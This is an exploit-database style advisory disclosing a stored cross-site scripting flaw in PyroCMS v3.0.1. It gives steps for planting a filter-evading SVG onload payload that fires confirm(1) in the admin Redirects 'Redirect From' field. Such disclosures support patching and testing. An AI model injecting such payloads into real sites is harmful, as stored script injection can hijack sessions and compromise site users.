PyroCMS v3.0.1 - Stored XSS Vulnerability

# Exploit Title: PyroCMS v3.0.1  - Stored XSS
# Exploit Author: tmrswrr
# Category : Webapps
# Vendor Homepage: https://pyrocms.com/
# Version: v3.0.1
# Tested on: https://www.softaculous.com/apps/cms/PyroCMS



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1-Login admin panel , go to this url : https://127.0.0.1/public/admin/redirects/edit/1
2-Write in Redirect From field your payload : <sVg/onLy=1 onLoaD=confirm(1)//
3-Save it and go to this url : https://127.0.0.1/public/admin/redirects
4-You will be see alert button